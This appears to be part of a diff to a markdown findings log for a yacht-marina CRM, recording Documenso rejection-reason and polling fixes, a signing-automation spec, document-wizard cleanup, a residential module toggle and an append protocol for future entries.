+  - Email/phone — already shown via `ClientChannelEditor` which reads client-level; the inheritance is implicit there but no visual indicator exists for "this came from client primary contacts."
+  - Address / country — interest has no address column; if shown on Overview, it's a pure read of the client's primary address (visual indicator helps reinforce that editing here updates the CLIENT, not just this deal).
+- **Open question:** should editing an inherited dimension write to the interest (override, deal-specific) or to the yacht (correct the yacht record)? Default proposal: write to the interest (override pattern) and offer a follow-up CTA ("Update yacht record too?").
+
+---
+
+## Bucket 3 — Features / larger (> 2 h)
+
+### Documenso rejection reason — pull through + surface to the rep
+
+- **`SHIPPED locally (not yet committed) — backend; UI surfacing queued`**
+- **Files touched:**
+  - _src/app/api/webhooks/documenso/route.ts_ (`DocumensoRecipient` type extended with `rejectionReason` + `declineReason`; DOCUMENT_REJECTED / DOCUMENT_DECLINED handler now coalesces the two field names and passes through).
+  - _src/lib/services/documents.service.ts_ (`handleDocumentRejected` signature gains `rejectionReason?: string | null`; `document_events.eventData` stores it; audit log metadata carries it; the in-CRM notification description quotes it inline, truncated at 120 chars with full reason still in the audit row).
+- **User's question:** "are we able to pull through the rejection reason through the API if a signer rejects the document through documenso? if so we need to pull it through and append it."
+- **Answer:** yes — Documenso sends the cleartext reason on the recipient object (`rejectionReason` on v2; some 1.x payloads use the legacy `declineReason`). Up to this fix we were ignoring both. Now coalesced + persisted + surfaced.
+- **Where the reason now appears (after this fix):**
+  1. `document_events` row → `eventData.rejectionReason` (the audit timeline can render it).
+  2. `audit_logs` row → `metadata.rejectionReason` (admin's audit-log viewer surfaces it).
+  3. In-CRM rep notification → inline in the description quoted in ASCII quotes, truncated to 120 chars so the bell tile doesn't wrap awkwardly. Example: `matt@letsbe.solutions declined to sign: "The deposit amount needs to be £20k not £30k" — review and regenerate.`
+- **Still queued (UI surfacing):** EOI tab + InterestEoiTab status banner should also render the rejection reason inline below the "EOI declined" headline. Right now the banner just says rejected without surfacing the why. ~30 min to wire — query the latest `document_events` row of type=`rejected` for the active EOI and pluck `eventData.rejectionReason`. Bundle with the next round of EOI-tab polish.
+- **Cross-ref:** the broader "Activity feed comprehensive copy" finding above — both are about pulling raw signal out of audit_logs / document_events and rendering it as actionable copy instead of generic "updated this record" / "EOI declined." Pattern: every domain event should carry domain-meaningful detail through to the UI.
+
+### Documenso rejection — UI didn't reflect rejected state; poller fallback was missing the REJECTED branch
+
+- **`PARTIALLY SHIPPED locally (poller fixed; webhook URL auto-update + admin health-check queued)`**
+- **Confirmed root cause (per user):** Documenso webhooks were configured to a stale cloudflared tunnel URL (quick-tunnels rotate hostnames on restart). Documenso was POSTing into a dead host. The CRM never received the rejection event. User confirmed: "the webhooks aren't working because they're a cloudflare tunnel link that is set in the crm but no longer works".
+- **Secondary root cause (discovered while fixing):** the existing `signature-poll` BullMQ job runs every 5 minutes via `src/lib/queue/scheduler.ts:21` and is the documented fallback for missed webhook deliveries — but it **did not handle the REJECTED / DECLINED path at all.** It only reconciled SIGNED (recipient), COMPLETED (document), and EXPIRED (document). A rejected document polled by this job saw no matching branch and exited silently. So even with the polling fallback running, rejections were invisible to the CRM. User reasonably asked: "shouldn't the API be polling for updates to signatures/document stuff in the absence? Is the system not checking if the webhook works, or is there no way to do so?"
+- **Files touched (this fix):**
+  - _src/lib/services/documenso-client.ts:157_ (`normalizeDocument`) — recipient shape now coalesces `rejectionReason` ?? `declineReason` and surfaces it on every poller / direct-fetch consumer.
+  - _src/lib/services/documenso-client.ts:213_ (`DocumensoDocument.recipients[]`) — gains optional `rejectionReason?: string`.
+  - _src/jobs/processors/documenso-poll.ts_ — new `else if` branch for `remoteDoc.status === 'REJECTED' | 'DECLINED'`. Finds the rejecting recipient, plucks the reason, hands off to `handleDocumentRejected` with the same shape the webhook receiver uses — so `document_events`, audit log, notification, and UI all converge on identical state regardless of delivery path.
+  - _src/lib/services/documents.service.ts:1920_ (`handleDocumentRejected` — already-extended in the earlier rejection-reason finding) — accepts `rejectionReason?: string | null`, stores on `document_events.eventData`, surfaces in the rep notification description, persists in audit log metadata.
+  - _src/app/api/webhooks/documenso/route.ts_ (already-extended earlier this turn) — DOCUMENT_REJECTED / DOCUMENT_DECLINED handler coalesces the reason and passes through.
+- **Result of this fix:** even with a broken tunnel, the rejected document will converge to `status='rejected'` within 5 minutes of the next `signature-poll` job tick. The rep gets the notification, the EOI tab status pill flips, audit log carries the rejection reason. Webhook is now an OPTIMISATION (sub-second), not a CORRECTNESS REQUIREMENT.
+- **Still queued (higher-value follow-ups):**
+  1. **Auto-update Documenso's webhook URL on tunnel restart.** `./scripts/tunnel-url.sh --copy` already prints the URL; extend it to also POST to Documenso's webhook-update API endpoint using the same API key the CRM uses for envelope creation. One command rotates the URL on every dev session. Add a LaunchAgent post-start hook so this happens automatically when the tunnel-service restarts.
+  2. **Admin "Webhook health" page.** New page at `/admin/integrations/webhooks` that surfaces: last-received timestamp per webhook event type (so a multi-day gap is visible), count of webhooks received in the last 24h vs documents created in the same window (the ratio should be ~1:1 in a healthy port), a "Test webhook delivery" button that posts a synthetic test event and waits for the round-trip. ~3–4h.
+  3. **Periodic divergence alarm.** Cron job (separate from `signature-poll`): if more than X documents are stuck in `'sent'` for > Y hours, fire an alert to super admins so they investigate webhook / Documenso config. ~1h once the alert infra is settled.
+  4. **Document the "re-paste tunnel URL into Documenso after every tunnel restart" gotcha in CLAUDE.md** until the auto-PATCH lands. ~5 min.
+- **Why polling alone isn't enough long-term:**
+  - Latency: 5-min worst case until the CRM converges. Reps watching for a fresh signature don't want to wait 5 minutes.
+  - Cost: per-poll `getDocument` call per in-flight doc per 5 min × N ports = noticeable Documenso API traffic at scale.
+  - Webhooks remain the right primary path; polling is the safety net. Both should work.
+- **How the user can verify the fix right now:**
+  - Run `./scripts/tunnel-url.sh --copy`, paste the URL into Documenso webhook settings (Documenso → Settings → Webhooks → edit the existing one → paste new URL → save). The webhook is now reachable for the next test.
+  - Alternatively (without fixing the tunnel), wait up to 5 minutes — the poller will pick up the existing rejected doc and reconcile it. Watch the EOI tab; status pill should flip from AWAITING SIGNATURES to REJECTED.
+- **Cross-refs:**
+  - The "Documenso upload comprehensive audit" finding (Bucket 3 above) — bundle with that audit since both are about Documenso ↔ CRM state convergence under failure modes.
+  - The "Documenso rejection reason — pull through" finding above — same chain of changes; the poller fix completes the rejection-reason-everywhere arc.
+- **Open questions for the user:**
+  1. **Should the auto-PATCH of Documenso's webhook URL on tunnel restart happen unconditionally**, or behind a feature flag (`DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1`) so prod ports can't accidentally have their webhook URL rotated by a stale dev script? My recommendation: env-flag-gated.
+  2. **What should the admin Webhook Health page do for ports with NO webhooks ever received?** Render a "not yet tested" empty state, or auto-fire a synthetic test on first page load? Default proposal: explicit "Test now" button — surprise-auto-firing webhooks on a fresh admin visit is wrong.
+
+### Documenso signing order — does template's SEQUENTIAL win or does CRM override?
+
+- **`ANSWER + clarifying fix queued`**
+- **User question:** "is the signing order we designate overridden by the template signing order set in the documenso app when I make a template?"
+- **Files inspected:**
+  - _src/lib/services/documenso-client.ts:462-499_ (template-use → envelope-update post-create flow).
+  - _src/lib/services/documents.service.ts:813_ (`docCfg.signingOrder ? { signingOrder: docCfg.signingOrder } : {}` spread on EOI generate call).
+  - _src/lib/services/port-config.ts_ (getPortDocumensoConfig returns `signingOrder: 'PARALLEL' | 'SEQUENTIAL' | null`).
+- **Answer:** **the CRM's per-port `documenso_signing_order` setting overrides the template's stored signing order — but only when the port setting is explicitly set.** Mechanism:
+  - `/template/use` creates the envelope from the template. Documenso v2's template-use endpoint **silently drops the `meta` field on the request body** — signingOrder/subject/message/redirectUrl all inherit from the template's stored defaults. (See the comment at documenso-client.ts:464.)
+  - The CRM then patches `/envelope/update` while the envelope is still DRAFT to apply per-port overrides. This update _can_ set signingOrder.
+  - At documenso-client.ts:472-476 the update only includes `signingOrder` (and the other meta fields) when the value is non-empty. If the port's `documenso_signing_order` setting is empty/null, the update skips that field and the **template's stored value (SEQUENTIAL in your case) is preserved.**
+  - At documents.service.ts:813 the signingOrder is only PASSED to the create call when truthy. Same logic — empty port setting means template wins.
+- **Implication for the user's port:** if the EOI currently shows "Concurrent" but the template is SEQUENTIAL, your port's `documenso_signing_order` setting is set to `PARALLEL` (overriding the template). Check at Admin → Documenso → Behavior → signing order. Either flip it to SEQUENTIAL (forces sequential regardless of template) or clear it to `null` (defers to whatever the template specifies, which would honour your SEQUENTIAL template).
+- **Suggested UX fix (capture as `OPEN`):** the admin settings form for `documenso_signing_order` should offer **three** values, not two: `SEQUENTIAL`, `PARALLEL`, and `Use template default` (the empty/null state). Today it's a binary toggle that hides the "defer to template" option. A rep configuring per-port settings can't easily express "I want the template to win" without knowing to leave the field blank.
+- **Cross-refs:** ties into the Automate Signing finding directly below — automation behaviour DEPENDS on signing order semantic, so they should ship in the same wave.
+
+### Automate signing — single button that cascades invites + emails the completed doc (REFINED with signing-order awareness)
+
+- **`SHIPPED locally (not yet committed)`** — committed earlier this UAT round as commit `fe5f98d` (`feat(automate-signing): one-click invitation kickoff + auto cascade + completion broadcast`).
+- **Where it lives:** `src/lib/services/signing-automation.service.ts` orchestrates the kickoff + cascade. `documents.automation_mode` column tracks `'manual' | 'sequential_auto' | 'concurrent_auto'` (migration `0088_documents_automation_mode.sql`). Webhook handler in `src/app/api/webhooks/documenso/route.ts` reads automation mode on each recipient-signed event and fires the next invite when in `sequential_auto`.
+- **Files implicated (once built):**
+  - _src/components/documents/active-eoi-card.tsx_ (new "Automate signing" button + state visualisation).
+  - _src/lib/services/documents.service.ts_ (new `automateSigning(documentId, portId)` orchestrator).
+  - _src/lib/services/documenso-client.ts_ (already has `sendDocument` + `sendReminder`; may need `setSigningOrder('SEQUENTIAL')` mid-flight if the doc wasn't created sequential).
+  - _src/app/api/webhooks/documenso/route.ts_ → `handleRecipientSigned` (today only updates the row; needs a branch that fires the NEXT signer's invite when the envelope is in "automated" mode).
+  - _src/lib/db/schema/documents.ts_ — new column `documents.automation_mode: 'manual' | 'sequential_auto' DEFAULT 'manual'`.
+  - _src/lib/email/templates/_ — new template `signing-completed-recipient-bundle.tsx` for the all-done broadcast with signed PDF attached (already 80% there — `compose-completion-email` route exists per `document-detail.tsx:217`).
+- **React-grab anchor:** `<section class="rounded-xl bord..." />` in `ActiveEoiCard` in `InterestEoiTab`.
+- **User's request (verbatim):** "there should also be something like an 'Automate Signing' button where it sends out an auto invite to the signers in order one after the other as they sign, then send them all a confirmation email with the signed document attached when done."
+- **Proposed feature spec (two-mode):**
+  1. **New button on ActiveEoiCard:** "Automate signing" — visible when (a) the doc has ≥2 signers, (b) status is `draft` (Documenso has the envelope but no invite has gone out yet), (c) the rep has `documents.send` permission. Same conditions as the existing per-row "Send invitation" CTA but operates over the whole flow.
+  2. **On click:** the dialog branches based on the document's signing order (which the CRM reads from the envelope via `getDocument` or persists locally on `documents.signing_order` at create time):
+     - **Concurrent / PARALLEL signing order:** confirmation modal explains "All N signers will receive the invitation now. As each signs, you'll see their progress in real time. When everyone has signed, every recipient gets the completed PDF by email." Submission fires ALL signer invitations in parallel (single bulk dispatch) and sets `documents.automation_mode='concurrent_auto'`. The webhook completion handler still fires the final broadcast email — same as sequential mode below.
+     - **Sequential / SEQUENTIAL signing order:** confirmation modal explains "Documenso will route this in order. First we'll invite {firstSigner.name}. As each signer completes, the next invite fires automatically. When everyone has signed, every recipient gets the completed PDF by email." Submission fires only the first signer's invitation and sets `documents.automation_mode='sequential_auto'`. Webhook handler fires next-in-order on each `recipient_signed` (logic below).
+  3. **Webhook side (sequential mode only):** in `handleRecipientSigned`, after the existing row update, check the parent doc's `automation_mode`. If `sequential_auto` AND there's a next-in-order signer with `invitedAt=NULL` AND envelope status isn't completed, fire that signer's invitation. Concurrent mode skips this entirely (everyone already invited). Use the existing token + branded-invite path so the email is identical to a manually-fired invite.
+  4. **On completion** (`handleDocumentCompleted`) — shared across both modes: if `automation_mode` is `concurrent_auto` OR `sequential_auto`, queue the existing `composeCompletionEmail` route logic to send the signed PDF to every recipient (signers + CCs + approvers). Stays decoupled from the user-driven `email-completion` flow that already exists for manual mode.
+  5. **UI state during automation (mode-aware):**
+     - **Sequential:** ActiveEoiCard shows an "Automating · signer N of M" banner.
+     - **Concurrent:** banner reads "Automating · all N signers invited · 0 of N signed" and updates as signatures land.
+     - **Both modes:** per-row layout collapses to a status badge + the existing Copy link button (so reps can still manually share if they want a parallel channel).
+     - **Both modes:** A "Pause / Revert to manual" affordance lets the rep stop auto-firing mid-flow (set `automation_mode='manual'`).
+  6. **Why distinguish concurrent vs sequential automation:** user noted that for concurrent, automation is just "send invites at once" — the cascade-as-they-sign logic only applies to sequential. Spec must NOT force a concurrent doc into a sequential cascade just because the rep clicked Automate. The signing order is preserved from the envelope; automation respects it.
+- **Why this matters:** today the rep has to babysit a multi-signer doc: send invite #1, watch for webhook, send invite #2, repeat. For a 4-signer Reservation Agreement (common case per recent UAT screenshot) that's 4 manual button clicks across hours/days. Automation closes the gap between "Documenso supports sequential signing" and "the rep gets a one-click 'set it and forget it' workflow."
+- **Effort:** ~6–8h end-to-end.
+  - ~30 min schema migration + Drizzle type update for the new column.
+  - ~1h orchestrator service function + permission gate.
+  - ~1h webhook branch (sequential-auto next-fire logic) + idempotency guard so two concurrent webhook deliveries don't double-fire.
+  - ~1h completion-email broadcast wiring (reuse `composeCompletionEmail`).
+  - ~1.5h ActiveEoiCard UI (button + confirmation modal + automating banner + pause CTA).
+  - ~1h vitest covering: automation enable → first invite fires; webhook signs → next invite fires; completion → broadcast email; pause mid-flow → no further auto-fires.
+  - ~30 min audit-log entries on enable / pause / auto-fire / broadcast.
+- **Alternatives considered + rejected:**
+  - **Auto-fire ALL invites at once instead of sequentially** — rejected because Documenso's SEQUENTIAL signing order specifically means signers must wait their turn. Firing all invites at once + asking signers to wait is confusing UX.
+  - **Defer to Documenso's native auto-send** — rejected because Documenso's auto-send doesn't trigger our branded invite email path or our post-completion broadcast; the rep gets Documenso's stock emails instead of the per-port-branded templates we ship.
+- **Cross-refs:**
+  - `documenso_signing_order` per-port setting (already exists per CLAUDE.md Documenso section).
+  - `compose-completion-email` route (document-detail.tsx:217 — partially built; this finding finishes the auto-broadcast half).
+  - Pairs with the "Documenso upload comprehensive audit" finding above — both touch the upload-for-signing service. Bundle them as one focused Documenso polish wave.
+- **Open questions for the user:**
+  1. **When the rep enables automation mid-flow (e.g. signer #1 was already manually invited), should the system pick up where they left off, or refuse and require the rep to start from a draft?** Default proposal: pick up — find the next-in-order signer with `invitedAt=NULL` and fire from there. Cleanest UX, matches what reps would expect.
+  2. **Completion broadcast scope — does it include CCs and Approvers, or only the SIGNERs?** Default proposal: everyone (the CC role exists specifically to get a copy at the end). If you want a different default, name it.
+  3. **Should the rep be able to PARTIALLY automate — fire invites automatically but stop short of the broadcast email?** I'd say no for v1 (one workflow, one mode), but if your reps already split those steps mentally we could offer two distinct modes.
+  4. **Existing per-row "Send invitation" + "Send reminder" buttons during automation — keep them visible (as override) or hide entirely?** Default proposal: keep them visible but show "Auto-firing soon" tooltip when the doc is in `sequential_auto`. Reps retain manual control.
+
+### `/documents/new` CreateDocumentWizard — confusing, redundant pathways
+
+- **`MOSTLY SHIPPED locally (not yet committed) — remaining: convert page to dialog`**
+- **What shipped (per commit `2107480` `feat(wizard-refactor): drop inapp pathway + upload branch + per-port template defaults + mark-signed dropdown`):**
+  - Wizard upload branch removed; `source: 'template'` hard-coded.
+  - `pathway: 'documenso-template'` hard-coded; `inapp` removed.
+  - Doc-type-driven template defaults: `/api/v1/documents/template-defaults` returns the per-port `documenso_eoi_template_id` / `documenso_reservation_template_id` / `documenso_contract_template_id`; wizard auto-fills the picker when the rep selects a doc type.
+  - "Mark as signed (offline)" dropdown item exists in NewDocumentMenu (line 113 of new-document-menu.tsx).
+- **Remaining:** drop the `/documents/new` route in favour of a `<GenerateDocumentDialog>` modal opened from the dropdown — architectural change, deferred until the rest of the launch stabilises.
+- **React-grab anchor:** `<section class="rounded-md bord..." />` in CreateDocumentWizard in NewDocumentPage.
+
+**Current state — three flows wired three different ways:**
+
+| #   | What                                                                         | Entry point today                                                                                                           | Underlying mechanism                                                                                                                                                                                    |
+| --- | ---------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 1   | Generate an EOI/Contract/Reservation from a template, send through Documenso | `EoiGenerateDialog` (interest tab) OR `/documents/new` wizard → `Generate from a template` + pathway = `documenso-template` | Template synced to Documenso; CRM calls the Documenso template-generate endpoint with merge-field values; Documenso renders + distributes for signing.                                                  |
+| 2   | Upload an arbitrary PDF, place fields manually, send through Documenso       | `UploadForSigningDialog` (interest tabs + NewDocumentMenu dropdown)                                                         | PDF uploaded to storage; rep drags signature/text/date/checkbox fields onto the PDF preview; CRM POSTs PDF + field metadata to Documenso (`field/create-many` on v2 or the legacy `placeFields` on v1). |
+| 3   | Upload a PDF that's already signed offline, mark it as signed                | `ExternalEoiUploadDialog` (interest EOI tab) for EOIs; equivalent for Reservation/Contract on their tabs                    | No Documenso involvement; service flips `eoiStatus`/`reservationDocStatus`/`contractDocStatus` to `signed` + advances stage; pure metadata operation.                                                   |
+
+**What's wrong:**
+
+1. **Wizard duplicates the dropdown.** `NewDocumentMenu` already exposes three named actions (Upload file / Upload & send for signature / Generate for signing) that map cleanly to flows 2/2/1. The wizard then takes the rep to `/documents/new`, where they pick AGAIN between "Generate from a template" and "Upload a finished PDF" — the upload branch is just flow 2 reimplemented worse (no field placement UI, just a stored file id).
+2. **The "inapp" template pathway is undocumented and probably unused.** The wizard's pathway dropdown offers `documenso-template` (rendered by Documenso) vs `inapp` (rendered by CRM via pdf-lib AcroForm fill, then sent to Documenso for signature). The inapp pathway exists in code but no UI feature surfaces it as a deliberate choice — it's a configuration trap.
+3. **Flow 3 (upload externally-signed) has no entry from the wizard or the dropdown.** It's only reachable from the per-interest tabs, which is fine for EOI / Reservation / Contract, but means a rep who lands on `/documents/new` can't even ask for it.
+4. **Templates feel like a heavyweight concept.** Reps want to "send an EOI to this client" — they shouldn't have to think about which template id maps to that.
+
+**Why templates exist (do we need them?):**
+
+Templates ARE needed for flow 1 — the generate-via-Documenso path. Documenso requires a pre-built template (with signature/text field placeholders) that lives on its side; the CRM provides merge-field values and Documenso renders the final PDF. We can't ship flow 1 without templates because Documenso's API requires a template id. They ARE NOT needed for flows 2 and 3.
+
+The catch: most ports will have ~3 templates total (EOI, Reservation Agreement, Contract). Hiding the template picker behind a doc-type selector ("EOI" → uses the port's `documenso_eoi_template_id` setting) makes templates invisible to reps — they pick a doc type, the right template loads. Already half-implemented for EOI via `documenso_eoi_template_id`; needs the same treatment for Reservation + Contract.
+
+**Proposed redesign:**
+
+- **Delete the wizard's upload branch.** Flow 2 lives in `UploadForSigningDialog` which is already the right surface. The wizard becomes generation-only.
+- **Delete the pathway dropdown.** `inapp` is dead; either remove it or surface it as an admin-only override. Default to `documenso-template`.
+- **Replace the template picker with a doc-type-driven default.** Rep picks "EOI / Reservation Agreement / Contract" → wizard resolves the template id from per-port settings (`documenso_eoi_template_id`, `documenso_reservation_template_id`, `documenso_contract_template_id`). For ports that want a non-default template, an admin-only "Use a specific template" override stays.
+- **Surface flow 3 from the dropdown menu.** Add "Mark as signed (uploaded offline)" as a fourth dropdown item that opens the appropriate external-signed dialog based on the current entity context.
+- **Drop `/documents/new` as a route entirely.** Replace with a `<GenerateDocumentDialog>` opened from the dropdown menu, matching the modal pattern the other flows already use. Saves a page navigation + keeps the entry pattern consistent.
+
+**Effort:** ~6–8h end-to-end. Largest piece is the template-id resolution — needs the per-port settings keys for Reservation + Contract (if not already there) + wizard service migration. UI surgery is ~2h.
+
+**Open questions for the user:**
+
+- Confirm flow 3 (mark externally signed) should be reachable from the dropdown menu, not just from per-interest tabs.
+- Confirm the `inapp` pathway can be removed (or do reps still need a CRM-rendered PDF for any edge case the audit hasn't surfaced?).
+- Confirm the per-port template-id pattern is the right way to hide templates from reps. Alternative: a one-time admin step to pick the default per doc type, with a "switch template" link visible to admins only.
+
+### CreateDocumentWizard — Reminders/Watchers/Signers leak into upload-only flow
+
+- **`SUPERSEDED`** — _src/components/documents/create-document-wizard.tsx_ (wizard is generation-only since 2026-05-26 refactor; `source: 'template'` hard-coded, upload branch removed).
+- **Reason:** the 2026-05-26 wizard refactor cut the upload branch entirely. The wizard is now purely "generate from template → Documenso" so Signers / Reminders / Watchers always apply. Offline-signed upload flows live elsewhere (per-interest external-upload dialogs, generic FileUploadZone). No longer a leak to fix.
+
+### CreateDocumentWizard subject picker — needs at-a-glance entity scan
+
+- **`PARTIALLY SHIPPED locally (not yet committed)`** — _src/components/documents/create-document-wizard.tsx_ (subject row).
+- **Fix applied:** type dropdown → segmented button strip (Interest / Tenancy / Client / Company / Yacht), all 5 types visible at once so the rep clicks once instead of opening a dropdown. Picker below still adapts per-type (existing pickers reused as-is).
+- **Deferred:** the fully-unified search ("type 'matt'" → mixed-type results) needs a new `<SubjectCombobox>` against `/api/v1/search`. The segmented strip is the high-value 80% fix; the unified search lands when the wider wizard refactor goes through.
+- **React-grab anchor:** `<div class="grid grid-cols-..." />` in CreateDocumentWizard.
+- **Symptom:** picking the document subject means choosing a type (Client / Company / Yacht / Interest / Tenancy) THEN searching that one type's picker. Reps don't think in terms of "what type is the recipient" — they think "I need to send this to deal X" or "this is for client Y." The two-step type-then-picker requires the rep to know the answer to the type question before they can search.
+- **Fix proposal:** replace the type+picker pair with a single unified search field (same idiom as the global Command-search). Typing surfaces matching clients/companies/yachts/interests/tenancies inline, each row carrying its type label as a badge. Recent interactions surface first when the input is empty. The chosen entity sets both `subjectType` and `subjectId` in one click.
+- **Bundle with:** the larger wizard refactor (above) — if `/documents/new` becomes a `<GenerateDocumentDialog>`, this is the natural place to ship the unified subject picker as one consistent pattern.
+
+### Admin toggle to disable Residential entirely (module gate)
+
+- **`SHIPPED locally (not yet committed) — 2026-05-31`** — net-new wiring; mirrors the Tenancies / Invoices / Expenses module-toggle pattern.
+- **Fix applied (2026-05-31):** full module gate shipped end-to-end, defaulting ON.
+  - New `src/lib/services/residential-module.service.ts` (`isResidentialModuleEnabled` / `enableResidentialModule` / `disableResidentialModule` / `assertResidentialModuleEnabled`) — TDD'd via `tests/integration/residential-module.test.ts` (6 tests, RED→GREEN).
+  - Registry key `residential_module_enabled` (`section: 'operations.residential'`, `defaultValue: true`) in `src/lib/settings/registry.ts`.
+  - Route guard `src/app/(dashboard)/[portSlug]/residential/layout.tsx` renders `<ModuleDisabledPage>` when off — covers all 5 residential pages.
+  - Sidebar: `requiresResidentialModule` section flag + `residentialModuleByPort` map resolved SSR in `src/app/(dashboard)/layout.tsx`, threaded through `app-shell.tsx` → `sidebar.tsx`; mobile `more-sheet.tsx` Residential tile gated via new `residentialModuleEnabled` prop.
+  - Global search: module gate added at the shared chokepoint (`searchResidentialClients` / `searchResidentialInterests` early-return `[]` when off) so disabled-port records don't dead-end on the guard page — covers both the all-buckets fan-out and the single-bucket `type=` path.
+  - Public intake: `src/app/api/public/residential-inquiries/route.ts` now `assertResidentialModuleEnabled` after port resolution → 404 when off (regression test added to `tests/integration/public-residential-inquiry.test.ts`).
+  - Admin Switch: `residential_module_enabled` added to `settings-manager.tsx` KNOWN_SETTINGS (writes via `PUT /api/v1/admin/settings/[key]`).
+  - **Verification:** tsc clean; lint clean (0 errors); residential-module + public-residential-inquiry + search unit suites green (10 + 22 tests).
+  - **Deliberately NOT gated:** the `admin/residential-stages` page stays reachable when the module is off — an admin may legitimately configure residential stages before enabling. Reconsider if the user wants it hidden too.
+  - **Deferred (separate cleanup):** the consolidated `admin/operations` page hosting all four module toggles (+ retiring the orphaned `tenancies-module/*` endpoints) — see open question 3 below.
+- **User ask (verbatim, 2026-05-31):** "is it possible to make the residential interests sections/functions in the platform to be toggleable in the admin space?"
+- **Answer:** yes. The platform already has the exact pattern for Tenancies / Invoices / Expenses; residential can copy it. Caveat: residential is currently gated by **permissions** (`residential_clients` / `residential_interests` access verbs + the `residentialAccess` role flag at _src/lib/db/schema/users.ts:455_, auto-granting perms at _src/lib/api/helpers.ts:209-213_), **not** a module toggle, and has **no layout gate at all** today. So this is genuinely new wiring, not a flag flip.
+- **Fix proposal (copy the Tenancies template — the most complete of the three):**
+  1. **Registry entry** — add `residential_module_enabled` to _src/lib/settings/registry.ts_ (mirror the `tenancies_module_enabled` entry at lines 614-623): `section: 'operations.residential'`, `type: 'boolean'`, `scope: 'port'`, `defaultValue: true` (residential is in active use; default ON so existing ports aren't surprised — unlike tenancies/invoices which default OFF).
+  2. **Module service** — new _src/lib/services/residential-module.service.ts_ mirroring _tenancies-module.service.ts_: `isResidentialModuleEnabled(portId)` / `enableResidentialModule` / `disableResidentialModule` / `assertResidentialModuleEnabled` (throws `NotFoundError` when off; used by API handlers). Lazy "any residential_clients row exists" auto-enable is optional.
+  3. **Route gate** — new _src/app/(dashboard)/[portSlug]/residential/layout.tsx_ rendering `<ModuleDisabledPage moduleName="Residential" …>` (copy _expenses/layout.tsx:26-43_). One layout covers all 5 residential pages (clients list/detail, interests list/detail, index redirect). The `admin/residential-stages` page should also be gated.
+  4. **Sidebar** — add a `requiresResidentialModule` flag to the Residential nav section in _src/components/layout/sidebar.tsx:119-134_ (alongside the existing `residentialRequired`); resolve a `residentialModuleByPort` map in _src/app/(dashboard)/layout.tsx:82-109_ (mirror the tenancies/expenses maps) and thread it through _src/components/layout/app-shell.tsx:28-34,97-98,150-151_; add the filter at the existing nav filter (sidebar.tsx ~390/419). **Also gate the mobile entry** _src/components/layout/mobile/more-sheet.tsx:58_ (currently ungated).
+  5. **Search** — gate the two residential buckets in _src/lib/services/search.service.ts_ (`searchResidentialClients` line 497, `searchResidentialInterests` line 725; permission checks at 1949-1956 / 2163-2169 / 2199-2205) behind the module flag too, plus recently-viewed hydration in _src/lib/services/dashboard.service.ts:484-506_.
+  6. **Public inquiry endpoint** — _src/app/api/public/residential-inquiries/route.ts_ should `assertResidentialModuleEnabled` (or 404) when off, so a disabled port stops accepting residential inquiries from the website. Currently only rate-limit + validation gate it.
+  7. **Admin UI** — realistic path is the generic settings manager: add a `residential_module_enabled` Switch entry to _src/components/admin/settings/settings-manager.tsx_ (mirror the `tenancies_module_enabled` entry at lines 51-57), writing via `PUT /api/v1/admin/settings/[key]`. **Note:** the dedicated `/api/v1/admin/tenancies-module/enable|disable` endpoints are orphaned (nothing in the UI calls them) and the Invoices toggle has a registry entry + gate but no UI — so the settings-manager Switch is the path that actually works. Optionally build the long-promised `admin/operations` page to host all four module toggles in one place (closes the orphaned-endpoint gap for tenancies too).
+- **Surfaces to gate (user-facing, ~a dozen):** 5 dashboard pages (1 new layout), 1 admin stages page, sidebar section, mobile more-sheet entry, 2 search buckets + recently-viewed, public inquiry endpoint. **Backend stays preserved (~28 files):** 4 DB tables + relations (_src/lib/db/schema/residential.ts_), ~12 service fns (_residential.service.ts_, _residential-stages.service.ts_), ~14 v1 API routes (_src/app/api/v1/residential/\*_), 11 components (_src/components/residential/\*_), 2 email templates (_residential-inquiry.tsx_), validators, seeds, constants — disabled but invisible, exactly like the Tenancies/Expenses "soft hide, data preserved" model.
+- **Effort:** ~4-6h (half a day). Bulk is the sidebar/app-shell map plumbing + the new layout + search gating; the registry/service/Switch are ~1h.
+- **Alternatives considered + rejected:**
+  - Reuse the existing permission gate (just strip `residentialAccess` from all roles) — rejected: that's per-user, not a clean port-level "this port doesn't do residential" switch, and leaves the public inquiry endpoint live + the nav logic fragile.
+  - Hard-delete residential tables for ports that don't use it — rejected: violates the established non-destructive module-toggle convention (data preserved, re-enable any time).
+- **Open questions for the user:**
+  1. **Default state** — ON for existing ports (residential is live; least surprising) or OFF (treat residential as opt-in like tenancies/invoices)? Default proposal: ON.
+  2. **Scope** — just hide the UI surfaces, or also hard-reject the public residential-inquiry endpoint when off? Default proposal: both (a disabled port shouldn't silently accept inquiries it can't see).
+  3. Build the proper `admin/operations` page to host all four module toggles (and retire the orphaned tenancies endpoints), or just add the residential Switch to the existing settings manager? Default proposal: settings-manager Switch now; Operations page as a separate cleanup.
+- **Cross-refs:** sibling of the "Admin toggle to disable Tenancies entirely" finding (Bucket 1, `PARTIALLY SHIPPED`) and the invoices module-toggle work in `docs/launch-readiness.md` Initiative 1c. All four toggles share the same incomplete admin-UI story — worth adding the Operations page once and wiring all of them through it.
+
+---
+
+## Bucket 4 — Bugs (severity-tagged)
+
+_None yet._
+
+---
+
+## Append protocol
+
+- **One finding per entry.** Don't bundle multiple distinct issues inside one bullet.
+- **Always tag status** as the first inline tag: `OPEN | IN PROGRESS | SHIPPED in <hash> | SHIPPED locally (not yet committed) | PARTIALLY SHIPPED | QUEUED | BLOCKED`.
+- **Be incredibly detailed.** Every finding should carry:
+  - **File:line evidence** across every layer touched (component + service + validator + migration when relevant — not just the visible component).
+  - **React-grab anchor verbatim** when the user pasted one (the `<tag class="..." />` in `Component` chain).
+  - **Symptom** describing what the user saw + what they expected. Reference the screenshot's content when one was provided.
+  - **Root cause** — explain the actual mechanism (which query, which prop, which filter is wrong). When unknown, list ranked hypotheses.
+  - **Fix proposal** concrete enough that a future agent can implement without re-investigating. Name the functions, props, validators, migrations, query keys. Walk each layer in order when the fix touches multiple (service → API → UI).
+  - **Effort estimate** (hour range).
+  - **Alternatives considered + rejected** when there was a design call to make.
+  - **Open questions** for the user when a decision is pending — number them so the user can answer by reference.
+  - **Bundle-with** notes when the finding should ship together with another so related fixes don't drift.
+  - **Cross-refs** to related findings (by heading) and to shipped commits (by hash).
+  - **Acceptance criteria** when the fix is non-trivial — what does "done" look like?
